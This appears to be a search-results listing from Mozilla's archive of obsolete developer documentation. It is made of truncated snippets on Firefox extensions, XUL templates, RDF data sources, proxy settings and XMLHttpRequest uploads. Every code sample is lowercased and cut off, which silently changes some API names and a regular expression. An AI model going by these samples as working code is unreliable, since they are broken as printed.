...there are several similar extensions, such as live http headers, but tamper data is the one that we use the most.
... we'll cover more on http debugging later on.
Security best practices in extensions - Archive of obsolete content
content from a domain (such as http://www.example.com) can only access that same domain.
... sandboxed http connections the main purpose of sandboxed http connections is to interact with a web service, without interfering with the cookies set in the browser by that service/site.
...many of the items talked about so far in this document apply in this sphere, but here are some additional tips: api providers should use the https protocol, which provides better protection for data passed over the network.
... non-chrome urls in chrome xul or html such as the following example are not allowed: <script type="text/javascript" src="http://mysite.greatsite.com/js/wow-content.js" /> in general, scripts that are from remote sources that run in the chrome context are not acceptable, as many times the source of the script can never be 100% guaranteed, and they are vulnerable to man-in-the-middle attacks.
Search Extension Tutorial (Draft) - Archive of obsolete content
cu.import("resource://gre/modules/services.jsm"); // the details of the engine to add const engine_details = { name: "example engine", iconurl: "data:image/png;base64,...", alias: "example-engine", description: "an example search engine", method: "get", // the http request method url: "https://www.example.com/?q=_searchterms_" }; // keep track of whether this is the first run.
...search.xml <?xml version="1.0" encoding="utf-8"?> <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>example engine</shortname> <description>example search engine</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16" type="image/png">data:image/png;base64, ...
... </image> <url type="application/x-suggestions+json" template="https://api.example.com/suggestions"> <param name="q" value="{searchterms}"/> </url> <url type="text/html" method="get" template="https://www.example.com/search"> <param name="q" value="{searchterms}"/> <param name="source" value="search-box"/> </url> <url type="application/x-moz-keywordsearch" method="get" template="https://www.example.com/search"> <param name="q" value="{searchterms}"/> <param name="source" value="keyword"/> </url> <searchform>https://www.example.com/search</searchform> </searchplugin> bootstrap.js const { classes: cc, interfaces: ci, utils: cu, results: cr } = components; // import the services module.
...const engine_details = { name: "example engine", url: "https://www.example.com/search?q=_searchterms_&source=search-box" }; // get the engine url based on our url.
Adding preferences to an extension - Archive of obsolete content
refreshinformation: function() { // because we may be called as a callback, we can't rely on // "this" referring to the right object, so we need to reference // it by its full name var symbol = stockwatcher.tickersymbol; var fullurl = "http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=" + symbol; function inforeceived() { var samplepanel = document.getelementbyid('stockwatcher2'); var output = httprequest.responsetext; if (output.length) { // remove any whitespace from the end of the string output = output.replace(/\w*$/, ""); // build the tooltip string ...
... var fieldarray = output.split(","); samplepanel.label = symbol + ": " + fieldarray[1]; samplepanel.tooltiptext = "chg: " + fieldarray[4] + " | " + "open: " + fieldarray[5] + " | " + "low: " + fieldarray[6] + " | " + "high: " + fieldarray[7] + " | " + "vol: " + fieldarray[8]; } } var httprequest = new xmlhttprequest(); httprequest.open("get", fullurl, true); httprequest.onload = inforeceived; httprequest.send(null); } } note that we use stockwatcher.tickersymbol here instead of this.tickersymbol to get the stock symbol to watch.
... <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <prefwindow id="stockwatcher2-prefs" title="stockwatcher 2 options" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="sw2-stock-pane" label="stock settings"> <preferences> <preference id="pref_symbol" name="extensions.stockwatcher2.symbol" type="string"/> </preferences> <hbox align="center"> <label control="symbol" value="stock to watch: "/> <textbox preference="pref_symbol" id="symbol" maxlength="4"/> </hbox> </prefpa...
...your options.xul file would look like this: <?xml version="1.0" ?> <vbox xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <setting pref="extensions.stockwatcher2.symbol" type="string" title="stock to watch" /> </vbox> adding the context menu adding the contextual menu is easy; all the work that needs doing is done in the stockwatcher2.xul file.
Creating a status bar extension - Archive of obsolete content
<?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>status-bar-sample-1@example.com</em:id> <em:version>1.0</em:version> <em:type>2</em:type> <!-- front end metadata --> <em:name>status bar sample 1</em:name> <em:description>sample static status bar panel</em:description> ...
...<em:creator>my name</em:creator> <em:homepageurl>http://developer.mozilla.org/en/docs/creating_a_status_bar_extension</em:homepageurl> <!-- describe the firefox versions we support --> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>2.0.0.*</em:maxversion> </description> </em:targetapplication> </description> </rdf> let's take a look at some key parts of the manifest.
...our overlay file, status-bar-sample-1.xul, looks like this: <?xml version="1.0" encoding="utf-8"?> <!doctype overlay > <overlay id="status-bar-sample-1-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <!-- firefox --> <statusbar id="status-bar"> <statusbarpanel id="status-bar-sample-1" label="hello world" tooltiptext="sample status bar item" /> </statusbar> </overlay> the first order of business in the status-bar-sample-1.xul file is to establish that this is in fact a xul file, and to set up a unique id for the ...
...this is accomplished by the following line of xml: <overlay id="status-bar-sample-1-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> once that's accomplished, we can describe our user interface.
Index of archived content - Archive of obsolete content
ice remote/child remote/parent stylesheet/style stylesheet/utils system/child_process system/environment system/events system/runtime system/unload system/xul-app tabs/utils test/assert test/harness test/httpd test/runner test/utils ui/button/action ui/button/toggle ui/frame ui/id ui/sidebar ui/toolbar util/array util/collection util/deprecate util/list util/match-pattern util/object util/uuid ...
...style system overview using microformats firefox sync code snippets javascript client api syncing custom preferences force rtl gre gre registration gecko coding help wanted http class overview hacking wiki help viewer creating a help content pack helper apps (and a bit of save as) hidden prefs how to write and land nanojit patches io guide/directory keys introducing the audio api extension isp data java in firefox extensions...
... tamarin build system documentation tamarin releases tamarin-central rev 703:2cee46be9ce0 tamarin roadmap tamarin build documentation tamarin mercurial commit hook the download manager schema the life of an html http request the new nsstring class implementation (1999) tracevis transforming xml with xslt:mozilla xslt transforming xml with xslt:the netscape xslt treehydra treehydra build instructions treehydra manual tuning pageload urischeme uris and urls ...
...tes xulrunner 2.0 release notes xulrunner faq xulrunner hall of fame xulrunner tips xulrunner/old releases toolkit.defaultchromefeatures toolkit.defaultchromeuri toolkit.singletonwindowtype xulauncher ant script to assemble an extension application/http-index-format specification calicalendarview calicalendarviewcontroller califiletype mozilla.dev.platform faq reftest opportunities files symsrv_convert xbdesignmode.js archived open web documentation browser detection and cross browser support browser feature de...
No Proxy For configuration - Archive of obsolete content
for example: "https://mycompanyintranet/" formats that are not accepted example domain filters with interior wildcards www.*.com ip address string prefixes 127.
...proxy connections that fail return an error "the proxy server you have configured cannot be found", so configure your browser to use a non-existent http proxy (hostname: "imaginary", port "80").
... test each destination in an http: url.
...filter comparison notable bugs bug 172083 - [meta] proxy: "no proxy for" items bug 80917 - proxy: "no proxy" w/ form based ui bug 91587 - proxy: "no proxy for" default domain filtering fails w/ non-fqdn (e.g., http://web/) bug 201685 - no proxy for: support ipv6 address literals bug 136789 - proxy: no proxy ip entries do not block dns resolved ips bug 314712 - no proxy for: "hostname.domain.com" should block only "hostname.domain.com" bug 72444 - proxy: "bypass proxy server for local addresses" (ie pref) bug 260883 - "no proxy for" does not use fqdn wildcards "*" like ie bugzilla sources bug 17158 c...
Using XML Data Islands in Mozilla - Archive of obsolete content
for example, a simple xml purchase order can be embedded like this: <script id="purchase-order" type="application/xml"> <purchaseorder xmlns="http://example.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1</name> <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> the xml source text can then be retrieved like this: var ordersource = document.getelementbyid("purchase-order").textcontent; the xml source text can be parsed into a dom...
...here is a complete demo (also available as an attachment): <!doctype html> <html> <head> <title>xml data block demo</title> <script id="purchase-order" type="application/xml"> <purchaseorder xmlns="http://example.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1</name> <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> <script> function rundemo() { var ordersource = document.getelementbyid("purchase-order").textcontent; var parser = new domparser(); var doc = parser.parsefromstring(...
...ordersource, "application/xml"); var lineitems = doc.getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "lineitem"); var firstprice = lineitems[0].getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "price")[0].textcontent; document.body.textcontent = "the purchase order contains " + lineitems.length + " line items.
...for this demo, you must create an external document called purchase_order.xml: <!doctype html> <html> <head> <title>xml data block demo</title> <script> function rundemo() { var doc = document.getelementbyid("purchase-order").contentdocument; var lineitems = doc.getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "lineitem"); var firstprice = lineitems[0].getelementsbytagnamens("http://example.mozilla.org/purchaseorderml", "price")[0].textcontent; document.getelementbyid("output-box").textcontent = "the purchase order contains " + lineitems.length + " line items.
Creating a Firefox sidebar extension - Archive of obsolete content
chrome/content/emptysidebar.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css" ?> <?xml-stylesheet href="chrome://browser/skin/browser.css" type="text/css" ?> <!doctype page system "chrome://emptysidebar/locale/emptysidebar.dtd"> <page id="sbemptysidebar" title="&emptysidebar.title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" > <vbox flex="1"> <label id="atest" value="&emptysidebar.title;" /> </vbox> </page> new extensions can be registered in the menus or popups, firefox uses overlays for extending menus.
...chrome/content/firefoxoverlay.xul <?xml version="1.0"?> <!doctype overlay system "chrome://emptysidebar/locale/emptysidebar.dtd"> <overlay id="emptysidebaroverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menupopup id="viewsidebarmenu"> <menuitem key="key_openemptysidebar" observes="viewemptysidebar" /> </menupopup> <keyset id="mainkeyset"> <key id="key_openemptysidebar" command="viewemptysidebar" key="&openemptysidebar.commandkey;" modifiers="&openemptysidebar.modifierskey;" /> </keyset> <broadcasterset id="mainbroadcasterset"> <b...
...install.rdf <?xml version="1.0" encoding="utf-8"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>emptysidebar@yourdomain.com</em:id> <em:name>emptysidebar extension</em:name> <em:version>1.0</em:version> <em:creator>your name</em:creator> <em:description>example extension for creation and registration of a sidebar.</em:descri...
... original source: http://occidopagus.nl/firefox/emptysidebar/ ...
Firefox Sync - Archive of obsolete content
server a server implementation of the sync http protocol.
...these include: an http api for client-server interaction storage formats used by the the clients cryptographic model for encrypting client data the definitive source for these specifications is http://docs.services.mozilla.com/.
...full instructions are available at http://docs.services.mozilla.com/howtos/run-sync.html.
... getting involved and status for information on the current development status of sync including how to get involved, see https://wiki.mozilla.org/services/sync.
Creating a Help Content Pack - Archive of obsolete content
original doc: http://www.mozilla.org/projects/help.../content_packs i hesitate to call it "original", tho, because i've basically rewritten the entire thing so that it's easier and faster to use to create help content.
...insert into it the following text: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#"> </rdf:rdf> if you're familiar with html or xml, you might recognize this as the container element for the whole document.
...(the index, table of contents, and search data sources are more likely to be nested, complicating their formats.) create a new rdf file (for now let's name it glossary.rdf), and add the following lines to it: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#"> <rdf:description rdf:about="urn:root"> <nc:subheadings> <rdf:seq> </rdf:seq> <nc:subheadings> </rdf:description> </rdf:rdf> this forms the outer framework of a glossary description file.
...let's start with a brief sample rdf file with a single level: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#"> <rdf:description rdf:about="urn:root"> <nc:subheadings> <rdf:seq> <rdf:li><rdf:description nc:link="foo.html" nc:title="foo"/></rdf:li> <rdf:li><rdf:description nc:link="baz.html" nc:title="baz"/></rdf:li> </rdf:seq> <nc:subheadings> </rdf:description> </rdf:rdf>...
Microsummary topics - Archive of obsolete content
for example, the following code snippet installs the microsummary generator from the creating a microsummary tutorial: var generatortext = ' \ <?xml version="1.0" encoding="utf-8"?> \ <generator xmlns="http://www.mozilla.org/microsummaries/0.1" \ name="firefox download count" \ uri="urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16}"> \ <template> \ <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> \ <output method="text"/> \ <template match="/"> \ <value-of select="id(\'download-count\')"/> \ <text> fx downloads</t...
...ext> \ </template> \ </transform> \ </template> \ <pages> <include>http://(www\.)?spreadfirefox\.com/(index\.php)?</include> </pages> </generator> \ '; var domparser = components.classes["@mozilla.org/xmlextras/domparser;1"].
... controlling the frequency of microsummary requests when firefox downloads content in order to update a microsummary, it honors cache-related http response headers.
... thus, if you would like to control how frequently firefox initiates microsummary-related requests to your web server, you can do so by including an http expires or cache-control header in your response to a microsummary-related request.
Mozilla Application Framework in Detail - Archive of obsolete content
its provides a generic and extensible framework for fetching urls with support for common protocols (http, ftp, file, etc.) and a way to plug in custom protocol handlers.
...necko features include support for asynchronous i/o, a generic disk and memory cache service, asynchronous caching dns resolution, web proxies, and https.
... web services mozilla includes built-in support for popular web services standards xml-rpc, soap, and wsdl as well as a simple xmlhttprequest object similar to the one in ie.
... original document information author(s): myk melez, ian oeschger original document: http://www.mozilla.org/why/framework-details.html last updated date: february 15, 2006 copyright information: copyright (c) myk melez, ian oeschger ...
Plug-n-Hack Phase1 - Archive of obsolete content
security tool manifest to support pnh-1 security tools provide a manifest over http(s) which defines the capabilities that the browser can make use of.
...for example: var manifest = {"detail":{"url":"http://localhost:8080/manifest"}}; var evt = new customevent('configuresectool', manifest); it is suggested that browsers wishing to support pnh restrict handling of customevents such that they’re ignored where the event happens outside of user initiated actions.
... an example manifest (for owasp zap) is: { "toolname":"owasp zap", "protocolversion":"0.2", "features":{ "proxy":{ "pac":"http://localhost:8080/proxy.pac", "cacert":"http://localhost:8080/other/core/other/rootcert/" }, "commands":{ "prefix":"zap", "manifest":"http://localhost:8080/other/mitm/other/service/" } } } the top level manifest includes optional links to a proxy pac and a root ca certificate.
...security tool commands manifest an example commands manifest (for owasp zap) is: https://code.google.com/p/zap-extensions/source/browse/branches/beta/src/org/zaproxy/zap/extension/plugnhack/resource/service.json firefox ui in firefox the tool commands will be made available via the developer toolbar (gcli) https://developer.mozilla.org/docs/tools/gcli a example of how the zap commands are currently displayed is: note that user specified parameters can be specified for commands, w...
Tamarin Build System Documentation - Archive of obsolete content
the waterfall page is located at http://tamarin-builds.mozilla.org/tamarin-redux/waterfall what builds are displayed on the build system status page?
... checkins (hg push) to http://hg.mozilla.org/tamarin-redux and sandbox requests will trigger a buildbot build when all build slaves are idle the next build begins before the build begins buildbot waits for 2 minutes of no checkin activity the build system prioritizes tamarin-redux checkins over sandbox builds when several tamarin-redux checkins occur the newest change is built including all checkins since the last build eac...
... create a user repository, instructions are https://developer.mozilla.org/en/publishing_mercurial_clones go to the request a sandbox build page http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm enter the repository url, revision number, email address, and description.
... if buildbot is busy the queue is displayed http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm the submitter of a sandbox build may remove a build request by clicking on the cancel button tamarin-redux builds are higher priority than sandbox builds, they cannot be removed but the most checkin including all new checkins are built how can i run buildbot scripts locally?
Elements - Archive of obsolete content
rld.html: <!doctype html public "-//w3c//dtd html 4.01//en"> <html> <head> <title>hello world!</title> <style type="text/css"> p { -moz-binding: url(hello.xml#default); } #p03 { -moz-binding: url(hello.xml#hello2); } </style> </head> <body> <p>default content</p> <p>default content</p> <p id="p03">default content</p> </body> </html> hello.xml: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="default"> <content><html:b>hello world!
...this way a more-or-less universal namespace declaration in your bindings could be like: <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html = "http://www.w3.org/1999/xhtml" xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg = "http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> binding <!entity % binding-content "(resources?,content?,implementation?,handlers?)"> <!element binding %binding-content;> <!attlist binding id ...
... dom: elementreference.style.mozbinding = "url(mybinding.xml#default)"; in both cases above we are using binding with id="default" contained in file mybinding.xml starting with firefox 3, you can also use a data: url to embed the binding inline: div { -moz-binding: url(data:text/xml;charset=utf-8,%3c%3fxml%20version%3d%221.0%22%3f%3e%0a%3cbindings%20id%3d%22xbltestbindings%22%20xmlns%3d%22http%3a//www.mozilla.org/xbl%22%3e%0a%20%20%3cbinding%20id%3d%22xbltest%22%3e%3ccontent%3epass%3c/content%3e%3c/binding%3e%0a%3c/bindings%3e%0a); } since data: urls don't support fragment identifiers, the first binding found in the embedded xml is used instead.
... for clarity's sake, here's what the embedded xml in the previous example looks like: <?xml version="1.0"?> <bindings id="xbltestbindings" xmlns="http://www.mozilla.org/xbl"> <binding id="xbltest"><content>pass</content></binding> </bindings> only css declarations provide an easy way to attach bindings to any set of elements.
Windows stub installer - Archive of obsolete content
the windows stub installer project resides at: <http://lxr.mozilla.org/seamonkey/sou...windows/setup/> how do we get setup to debug the windows stub installer?
...checkin the <component>.jst to the: <http://lxr.mozilla.org/seamonkey/sou...ckager/windows> directory.
... add a [component <component>]</component> section to the config.ini template file named config.it found at: <http://lxr.mozilla.org/seamonkey/sou...dows/config.it>.
... finally add <component> to the component list array @gcomponentlist at: <http://lxr.mozilla.org/seamonkey/sou...makeall.pl#125> you can test it by changing your current working directory to mozilla/xpinstall/wizard/windows/builder and running "perl build.pl" on the shell prompt.
Uploading and Downloading Files - Archive of obsolete content
http file upload some web sites allow one to upload a file.
...this operation can also be performed via a script using the xmlhttprequest object.
...the formdata object can then simply be passed to xmlhttprequest: function upload(posturl, fieldname, filepath) { var formdata = new formdata(); formdata.append(fieldname, new file(filepath)); var req = new xmlhttprequest(); req.open("post", posturl); req.onload = function(event) { alert(event.target.responsetext); }; req.send(formdata); } http put you can also upload a file using an http put operation.
... function uploadput(posturl, filepath) { var req = new xmlhttprequest(); req.open("put", posturl); req.setrequestheader("content-type", "text/plain"); req.onload = function(event) { alert(event.target.responsetext); } req.send(new file(filepath)); } in this example, a new input stream is created for a file, and is passed to the xmlhttprequest's send method.
List of commands - Archive of obsolete content
cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwordnext cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_movepageup cmd_movepagedown cmd_selectpageup cmd_selectpagedown other commands the following list other commands (prefixed by cmd_ or browser:) which have not been categorized here yet (though they are in the alphabetical list below): http://lxr.mozilla.org/seamonkey/sou...baroverlay.xul http://lxr.mozilla.org/seamonkey/sou...t/navigator.js http://lxr.mozilla.org/seamonkey/sou...toroverlay.xul http://lxr.mozilla.org/seamonkey/sou...onaltoolbar.js http://lxr.mozilla.org/seamonkey/sou...rceoverlay.xul http://lxr.mozilla.org/seamonkey/sou...extoverlay.xul http://lxr.mozilla.org/seamonkey/sou...lityoverlay.js http://lxr.mozilla.
...org/seamonkey/sou...oomoverlay.xul http://lxr.mozilla.org/seamonkey/sou...toroverlay.xul http://lxr.mozilla.org/seamonkey/sou...ark.properties http://lxr.mozilla.org/seamonkey/sou...kmarks-temp.js http://lxr.mozilla.org/seamonkey/sou.../bookmarks.xml http://lxr.mozilla.org/seamonkey/sou...rksoverlay.xul http://lxr.mozilla.org/seamonkey/sou...okmarkstree.js list of commands (listed alphabetically) browser:addbookmark browser:addbookmarkas browser:addgroupmarkas browser:back browser:editpage browser:find browser:findagain browser:findprev browser:forward browser:home browser:managebookmark browser:open browser:openfile browser:print browser:printpreview browser:savepage browser:searchinternet browser:sendpage browser:uploadfile cmd_bm_copy cmd_bm_cut cmd_bm_dele...
... cmd_scrollpageup cmd_selectall cmd_switchdocumentdirection cmd_switchtextdirection cmd_textzoomenlarge cmd_textzoomreduce cmd_textzoomreset cmd_undo cmd_viewcomponentbar cmd_viewlinktoolbar cmd_viewlinktoolbar_false cmd_viewlinktoolbar_maybe cmd_viewlinktoolbar_true cmd_viewnavbar cmd_viewpersonaltoolbar cmd_viewtaskbar cmd_zoomwindow thanks for help of joe.user0 in compiling: http://readlist.com/lists/mozilla.or...l/3/15261.html .
... also obtained from http://www.mozilla.org/unix/customizing.html ...
Building Hierarchical Trees - Archive of obsolete content
for instance, in the photo example, we have a container 'http://www.xulplanet.com/rdf/myphotos' with three photos.
...here is an example for the streets datasource: <tree flex="1" datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" flags="dont-build-content" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <treecols> <treecol id="address" primary="true" label="address" flex="1"/> <treecol id="floors" label="floors" flex="1"/> </treecols> <template> <rule rdf:type="http://www.xulplanet.com/rdf/house"> <treechildren> <treeitem uri="rdf:*"> ...
... <treerow> <treecell label="rdf:http://www.xulplanet.com/rdf/address"/> <treecell label="rdf:http://www.xulplanet.com/rdf/floors"/> </treerow> </treeitem> </treechildren> </rule> <rule> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://purl.org/dc/elements/1.1/title"/> </treerow> </treeitem> </treechildren> </rule> </template> </tree> the first rule is for the houses as indicated by the rule's condition and the second rule is for the streets.
... <rdf:bag rdf:about="http://www.xulplanet.com/rdf/myneighbourhood"> <rdf:li> <rdf:seq rdf:about="http://www.xulplanet.com/rdf/marion" dc:title="marion street"> the result is a two level tree with two columns.
Building Menus With Templates - Archive of obsolete content
here is an rdf example: <button label="houses in my neighbourhood" type="menu" datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <template> <rule rdf:type="http://www.xulplanet.com/rdf/house"> <menupopup> <menuitem uri="rdf:*" label="rdf:http://www.xulplanet.com/rdf/address"/> </menupopup> </rule> <rule> <menupopup> <menu uri="rdf:*" label="rdf:http://purl.org/dc/elements...
...after the first level of the menu has been generated, the content will be equivalent to the following (ignoring the template related content): <button label="houses in my neighbourhood" type="menu"> <menupopup> <menu uri="http://www.xulplanet.com/rdf/marion" label="marion street"/> <menu uri="http://www.xulplanet.com/rdf/garden" label="garden avenue"/> </menupopup> </button> the inner pass through the data handles the houses.
...<button label="houses in my neighbourhood" type="menu"> <menupopup> <menu uri="http://www.xulplanet.com/rdf/marion" label="marion street"> <menupopup> <menuitem uri="http://www.xulplanet.com/rdf/garden/16" label="16"/> <menuitem uri="http://www.xulplanet.com/rdf/garden/18" label="18"/> </menupopup> </menu> <menu uri="http://www.xulplanet.com/rdf/garden" label="garden avenue"> <menupopup> <menuitem uri="http://www.xulplanet.com/rd...
...f/garden/25" label="25"/> <menuitem uri="http://www.xulplanet.com/rdf/garden/37" label="37"/> </menupopup> </menu> </menupopup> </button> « previousnext » ...
Containment Properties - Archive of obsolete content
<vbox datasources="template-guide-ex1.rdf" ref="http://www.xulplanet.com/rdf/a" containment="http://www.xulplanet.com/rdf/relateditem"> <template> <rule> <label uri="rdf:*" value="rdf:*"/> </rule> </template> </vbox> instead of iterating over a container, this example iterates over a specific predicate.
...if the resource 'http://www.xulplanet.com/rdf/a' was also an rdf seq with some children, then those children would also be added to the results.
...the only difference between this and the previous example is a a couple of additional lines added to the rdf/xml: <rdf:seq rdf:about="http://www.xulplanet.com/rdf/a"> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/e"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/f"/> </rdf:seq> the effect is that there are five results instead of three.
...<vbox datasources="template-guide-ex3.rdf" ref="http://www.xulplanet.com/rdf/a" containment="http://www.xulplanet.com/rdf/relateditem"> <template> <query> <content uri="?start"/> <member container="?start" child="?child"/> </query> <action> <label uri="?child" value="?child"/> </action> </template> </vbox> try this example.
Multiple Rule Example - Archive of obsolete content
<vbox id="photoslist" align="start" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <rule> <conditions> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description"...
... object="?description"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/date" object="?date"/> </conditions> <action> <hbox uri="?photo" class="box-padded"> <vbox> <label value="?title"/> <image src="?photo"/> </vbox> <groupbox> <caption label="photo details"/> <label value="?description"/> <label value="date: ?date"/> </groupbox> </hbox> </action> </rule> <rule> <conditions> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" o...
...the resulting data will be: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = palace from above ?description = view from the top of the tower looking east of the doges palace, ?date = 2005-04-30t14:55:00+01.00) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?phototitle = palace from above) (?start =...
... http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg, ?phototitle = canal) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg, ?phototitle = obelisk) the first result matches the first rule and contains variables for the two additional predicates that were examined in the conditions.
Result Generation - Archive of obsolete content
<?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:rel="http://www.xulplanet.com/rdf/"> <rdf:description rdf:about="http://www.xulplanet.com/rdf/a"> <rel:relateditem rdf:resource="http://www.xulplanet.com/rdf/b"/> <rel:relateditem rdf:resource="http://www.xulplanet.com/rdf/c"/> <rel:relateditem rdf:resource="http://www.xulplanet.com/rdf/d"/> </rdf:description> <rdf:description rd...
...f:about="http://www.xulplanet.com/rdf/c"> <rel:relateditem rdf:resource="http://www.xulplanet.com/rdf/d"/> </rdf:description> </rdf:rdf> for a xul template query, you first need to select a starting point in the rdf graph.
...we will use a's uri (http://www.xulplanet.com/rdf/a) as the reference starting point.
...here is an example: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a" flex="1"> this is an indicator that we want to construct a xul template using the reference point with the uri 'http://www.xulplanet.com/rdf/a'.
Static Content - Archive of obsolete content
<menulist datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" oncommand="applyfilter(event.target.value);"> <menupopup> <menuitem label="all"/> </menupopup> <template> <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" ...
... predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <menupopup> <menuitem uri="?country" label="?countrytitle" value="?country"/> </menupopup> </action> </template> </menulist> the only difference between the previous example and this one is that the menulist element has some additional content added before the template.
... <radiogroup datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" onselect="applyfilter(event.target.value);"> <radio label="all" selected="true"/> <template> <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" predicat...
...e="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <radio uri="?country" label="?countrytitle" value="?country"/> </action> </template> </radiogroup> this example doesn't have any other content to generate outside the radio element with the uri attribute, so it will just be copied as is.
Using Multiple Queries to Generate More Results - Archive of obsolete content
if we add the following data about people to the neighbourhood datasource: <rdf:description rdf:about="http://www.xulplanet.com/rdf/myneighbourhood"> <r:people> <rdf:seq> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/person/1"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/person/2"/> </rdf:seq> </r:people> </rdf:description> <rdf:description rdf:about="http://www.xulplanet.com/rdf/person/1" dc:title="nathan"/> <rdf:description r...
...df:about="http://www.xulplanet.com/rdf/person/2" dc:title="karen"/> we can then use two queries to generate results from different parts of the datasource.
... <template> <queryset> <query> <content uri="?start"/> <member container="?start" child="?item"/> </query> <rule> <binding subject="?item" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <action> <label uri="?item" value="?title" class="header"/> </action> </rule> </queryset> <queryset> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/people" object="?people"/> <member container="?people" child="?item"/> </query> <rule> ...
... <binding subject="?item" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <action> <label uri="?item" value="?title"/> </action> </rule> </queryset> </template> you can view the example.
XUL Structure - Archive of obsolete content
http://localhost/~username/ ), regardless of whether they are html or xul or another document type, are limited in the type of operations they can perform, for security reasons.
...in much the same way as an 'http://' url always refers to remote web sites accessed using http, and the 'file://' url always refers to local files, the 'chrome://' url always refers to installed packages and extensions.
...for instance, an http url does not have any special privileges, and an error will occur if a web page tries, for example, to read a local file.
... if you are going to use xul on a web site, you can just put the xul file on the web site as you would an html file, and then load its url in a browser http://localhost/xul.php.
XUL Template Primer - Bindings - Archive of obsolete content
